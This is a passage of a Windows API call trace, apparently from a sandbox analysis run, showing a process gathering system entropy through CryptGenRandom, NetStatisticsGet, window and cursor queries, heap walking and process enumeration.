Size=0x64) returned 0x3685f70 [0117.397] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.397] GetCurrentThreadId () returned 0x614 [0117.397] GetVersionExA (in: lpVersionInformation=0x6a5f380*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x48, dwMinorVersion=0x6a5f3a8, dwBuildNumber=0x4209ab, dwPlatformId=0x0, szCSDVersion="þ*E") | out: lpVersionInformation=0x6a5f380*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0117.398] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x754c0000 [0117.398] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76690000 [0117.398] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x74a80000 [0117.499] GetProcAddress (hModule=0x74a80000, lpProcName="NetStatisticsGet") returned 0x74a8644f [0117.499] GetProcAddress (hModule=0x74a80000, lpProcName="NetApiBufferFree") returned 0x74ab13d2 [0117.499] NetStatisticsGet (in: ServerName=0x0, Service=0x4f6c10, Level=0x0, Options=0x0, Buffer=0x6a5f02c | out: Buffer=0x6a5f02c) returned 0x0 [0117.501] GetCurrentThreadId () returned 0x614 [0117.501] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.501] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.501] NetApiBufferFree (Buffer=0x616b588) returned 0x0 [0117.501] NetStatisticsGet (in: ServerName=0x0, Service=0x4f6c34, Level=0x0, Options=0x0, Buffer=0x6a5f02c | out: Buffer=0x6a5f02c) returned 0x0 [0117.504] GetCurrentThreadId () returned 0x614 [0117.504] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.504] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.504] NetApiBufferFree (Buffer=0x6168a68) returned 0x0 [0117.504] FreeLibrary (hLibModule=0x74a80000) returned 1 [0117.506] GetProcAddress (hModule=0x754c0000, lpProcName="CryptAcquireContextW") returned 0x754cdf14 [0117.506] GetProcAddress (hModule=0x754c0000, lpProcName="CryptGenRandom") returned 0x754cdfc8 [0117.506] GetProcAddress (hModule=0x754c0000, lpProcName="CryptReleaseContext") returned 0x754ce124 [0117.506] CryptAcquireContextW (in: phProv=0x6a5f018, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5f018*=0x3607be0) returned 1 [0117.507] CryptGenRandom (in: hProv=0x3607be0, dwLen=0x40, pbBuffer=0x6a5f464 | out: pbBuffer=0x6a5f464) returned 1 [0117.507] GetCurrentThreadId () returned 0x614 [0117.507] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.507] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.507] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0117.507] CryptAcquireContextW (in: phProv=0x6a5f018, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x6a5f018*=0x3607be0) returned 0 [0117.507] FreeLibrary (hLibModule=0x754c0000) returned 1 [0117.507] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0117.507] GetProcAddress (hModule=0x400000, lpProcName="_OPENSSL_isservice") returned 0x0 [0117.507] GetDesktopWindow () returned 0x10010 [0117.507] GetProcessWindowStation () returned 0x48 [0117.507] GetUserObjectInformationW (in: hObj=0x48, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x6a5efa0 | out: pvInfo=0x0, lpnLengthNeeded=0x6a5efa0) returned 0 [0117.508] GetLastError () returned 0x7a [0117.508] GetUserObjectInformationW (in: hObj=0x48, nIndex=2, pvInfo=0x6a5ef80, nLength=0x10, lpnLengthNeeded=0x6a5efa0 | out: pvInfo=0x6a5ef80, lpnLengthNeeded=0x6a5efa0) returned 1 [0117.508] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x76f80000 [0117.508] GetProcAddress (hModule=0x76f80000, lpProcName="GetForegroundWindow") returned 0x76fa2320 [0117.508] GetProcAddress (hModule=0x76f80000, lpProcName="GetCursorInfo") returned 0x76ff812f [0117.508] GetProcAddress (hModule=0x76f80000, lpProcName="GetQueueStatus") returned 0x76fa3924 [0117.508] GetForegroundWindow () returned 0x10058 [0117.508] GetCurrentThreadId () returned 0x614 [0117.508] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.508] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.509] GetCursorInfo (in: pci=0x6a5f450 | out: pci=0x6a5f450) returned 1 [0117.509] GetQueueStatus (flags=0xbf) returned 0x0 [0117.509] GetCurrentThreadId () returned 0x614 [0117.509] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.509] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.509] FreeLibrary (hLibModule=0x76f80000) returned 1 [0117.509] GetProcAddress (hModule=0x76690000, lpProcName="CreateToolhelp32Snapshot") returned 0x766c735f [0117.509] GetProcAddress (hModule=0x76690000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0117.509] GetProcAddress (hModule=0x76690000, lpProcName="Heap32First") returned 0x76725763 [0117.509] GetProcAddress (hModule=0x76690000, lpProcName="Heap32Next") returned 0x7672594e [0117.510] GetProcAddress (hModule=0x76690000, lpProcName="Heap32ListFirst") returned 0x76725621 [0117.510] GetProcAddress (hModule=0x76690000, lpProcName="Heap32ListNext") returned 0x767256cb [0117.510] GetProcAddress (hModule=0x76690000, lpProcName="Process32First") returned 0x766c8ae7 [0117.510] GetProcAddress (hModule=0x76690000, lpProcName="Process32Next") returned 0x766c88a4 [0117.510] GetProcAddress (hModule=0x76690000, lpProcName="Thread32First") returned 0x76725b93 [0117.511] GetProcAddress (hModule=0x76690000, lpProcName="Thread32Next") returned 0x76725c3f [0117.511] GetProcAddress (hModule=0x76690000, lpProcName="Module32First") returned 0x76725cd9 [0117.511] GetProcAddress (hModule=0x76690000, lpProcName="Module32Next") returned 0x76725dc2 [0117.511] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x62c [0117.519] GetTickCount () returned 0x113499e [0117.519] Heap32ListFirst (hSnapshot=0x62c, lphl=0x6a5f454) returned 1 [0117.520] GetCurrentThreadId () returned 0x614 [0117.520] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.520] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.520] Heap32First (lphe=0x6a5efc0, th32ProcessID=0x4cc, th32HeapID=0x35b0000) returned 1 [0117.540] GetCurrentThreadId () returned 0x614 [0117.540] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.540] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.540] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.559] GetTickCount () returned 0x11349bd [0117.559] GetCurrentThreadId () returned 0x614 [0117.559] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.559] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.559] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.578] GetTickCount () returned 0x11349cd [0117.578] GetCurrentThreadId () returned 0x614 [0117.578] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.578] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.578] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.596] GetTickCount () returned 0x11349ec [0117.596] GetCurrentThreadId () returned 0x614 [0117.596] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.596] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.596] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.616] GetTickCount () returned 0x11349fc [0117.616] GetCurrentThreadId () returned 0x614 [0117.616] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.616] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.616] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.635] GetTickCount () returned 0x1134a0b [0117.635] GetCurrentThreadId () returned 0x614 [0117.635] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.635] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.635] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.654] GetTickCount () returned 0x1134a1b [0117.654] GetCurrentThreadId () returned 0x614 [0117.654] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.654] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.654] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.674] GetTickCount () returned 0x1134a3a [0117.674] GetCurrentThreadId () returned 0x614 [0117.674] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.674] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.674] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.694] GetTickCount () returned 0x1134a4a [0117.694] GetCurrentThreadId () returned 0x614 [0117.694] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.694] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.694] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.716] GetTickCount () returned 0x1134a59 [0117.716] GetCurrentThreadId () returned 0x614 [0117.716] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.716] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.716] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.734] GetTickCount () returned 0x1134a69 [0117.734] GetCurrentThreadId () returned 0x614 [0117.734] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.734] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.735] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.754] GetTickCount () returned 0x1134a88 [0117.754] GetCurrentThreadId () returned 0x614 [0117.754] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.754] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.754] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.773] GetTickCount () returned 0x1134a98 [0117.773] GetCurrentThreadId () returned 0x614 [0117.773] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.773] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.773] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.792] GetTickCount () returned 0x1134aa7 [0117.792] GetCurrentThreadId () returned 0x614 [0117.792] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.792] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.793] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.812] GetTickCount () returned 0x1134ab7 [0117.812] GetCurrentThreadId () returned 0x614 [0117.812] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.812] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.812] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.846] GetTickCount () returned 0x1134ae6 [0117.846] GetCurrentThreadId () returned 0x614 [0117.846] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.846] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.846] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.867] GetTickCount () returned 0x1134af5 [0117.867] GetCurrentThreadId () returned 0x614 [0117.867] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.867] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.867] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.897] GetTickCount () returned 0x1134b15 [0117.897] GetCurrentThreadId () returned 0x614 [0117.897] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.897] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.897] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.916] GetTickCount () returned 0x1134b24 [0117.916] GetCurrentThreadId () returned 0x614 [0117.916] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.916] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.916] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.936] GetTickCount () returned 0x1134b34 [0117.937] GetCurrentThreadId () returned 0x614 [0117.937] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.937] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.937] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.956] GetTickCount () returned 0x1134b53 [0117.956] GetCurrentThreadId () returned 0x614 [0117.957] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.957] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.957] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.976] GetTickCount () returned 0x1134b63 [0117.976] GetCurrentThreadId () returned 0x614 [0117.976] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.976] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.976] Heap32Next (lphe=0x6a5efc0) returned 1 [0117.996] GetTickCount () returned 0x1134b72 [0117.996] GetCurrentThreadId () returned 0x614 [0117.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0117.996] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0117.996] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.015] GetTickCount () returned 0x1134b82 [0118.015] GetCurrentThreadId () returned 0x614 [0118.015] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.015] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.015] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.035] GetTickCount () returned 0x1134ba1 [0118.035] GetCurrentThreadId () returned 0x614 [0118.035] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.035] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.035] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.054] GetTickCount () returned 0x1134bb1 [0118.054] GetCurrentThreadId () returned 0x614 [0118.054] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.054] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.054] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.073] GetTickCount () returned 0x1134bc0 [0118.073] GetCurrentThreadId () returned 0x614 [0118.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.073] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.093] GetTickCount () returned 0x1134bd0 [0118.093] GetCurrentThreadId () returned 0x614 [0118.093] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.093] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.093] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.113] GetTickCount () returned 0x1134bef [0118.113] GetCurrentThreadId () returned 0x614 [0118.113] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.113] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.113] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.133] GetTickCount () returned 0x1134bff [0118.133] GetCurrentThreadId () returned 0x614 [0118.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.133] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.152] GetTickCount () returned 0x1134c0e [0118.152] GetCurrentThreadId () returned 0x614 [0118.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.152] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.171] GetTickCount () returned 0x1134c1e [0118.171] GetCurrentThreadId () returned 0x614 [0118.171] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.171] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.171] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.191] GetTickCount () returned 0x1134c3d [0118.191] GetCurrentThreadId () returned 0x614 [0118.191] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.191] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.191] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.210] GetTickCount () returned 0x1134c4d [0118.210] GetCurrentThreadId () returned 0x614 [0118.210] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.210] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.210] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.229] GetTickCount () returned 0x1134c5c [0118.229] GetCurrentThreadId () returned 0x614 [0118.229] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.230] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.230] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.248] GetTickCount () returned 0x1134c6c [0118.248] GetCurrentThreadId () returned 0x614 [0118.248] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.249] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.249] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.268] GetTickCount () returned 0x1134c8b [0118.268] GetCurrentThreadId () returned 0x614 [0118.268] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.268] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.268] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.288] GetTickCount () returned 0x1134c9b [0118.288] GetCurrentThreadId () returned 0x614 [0118.288] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.288] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.288] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.307] GetTickCount () returned 0x1134caa [0118.307] GetCurrentThreadId () returned 0x614 [0118.307] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.307] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.307] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.327] GetTickCount () returned 0x1134cba [0118.327] GetCurrentThreadId () returned 0x614 [0118.327] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.327] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.327] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.346] GetTickCount () returned 0x1134cd9 [0118.346] GetCurrentThreadId () returned 0x614 [0118.346] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.346] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.346] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.366] GetTickCount () returned 0x1134ce9 [0118.366] GetCurrentThreadId () returned 0x614 [0118.366] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.366] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.366] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.400] GetTickCount () returned 0x1134cf8 [0118.400] GetCurrentThreadId () returned 0x614 [0118.400] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.400] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.400] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.419] GetTickCount () returned 0x1134cf8 [0118.420] GetCurrentThreadId () returned 0x614 [0118.420] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.420] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.420] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.442] GetTickCount () returned 0x1134d17 [0118.443] GetCurrentThreadId () returned 0x614 [0118.443] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.443] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.443] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.462] GetTickCount () returned 0x1134d27 [0118.462] GetCurrentThreadId () returned 0x614 [0118.462] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.462] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.463] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.483] GetTickCount () returned 0x1134d37 [0118.483] GetCurrentThreadId () returned 0x614 [0118.483] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.483] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.483] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.503] GetTickCount () returned 0x1134d56 [0118.503] GetCurrentThreadId () returned 0x614 [0118.503] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.503] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.503] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.524] GetTickCount () returned 0x1134d65 [0118.524] GetCurrentThreadId () returned 0x614 [0118.524] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.524] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.524] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.545] GetTickCount () returned 0x1134d75 [0118.545] GetCurrentThreadId () returned 0x614 [0118.545] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.545] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.546] Heap32Next (lphe=0x6a5efc0) returned 1 [0118.565] GetTickCount () returned 0x1134d94 [0118.565] Heap32ListNext (hSnapshot=0x62c, lphl=0x6a5f454) returned 1 [0118.565] GetTickCount () returned 0x1134d94 [0118.565] GetTickCount () returned 0x1134d94 [0118.565] Process32First (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.566] GetCurrentThreadId () returned 0x614 [0118.566] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.566] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.566] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.567] GetTickCount () returned 0x1134d94 [0118.567] GetCurrentThreadId () returned 0x614 [0118.567] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.567] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.567] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.568] GetTickCount () returned 0x1134d94 [0118.568] GetCurrentThreadId () returned 0x614 [0118.568] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.568] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.568] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, 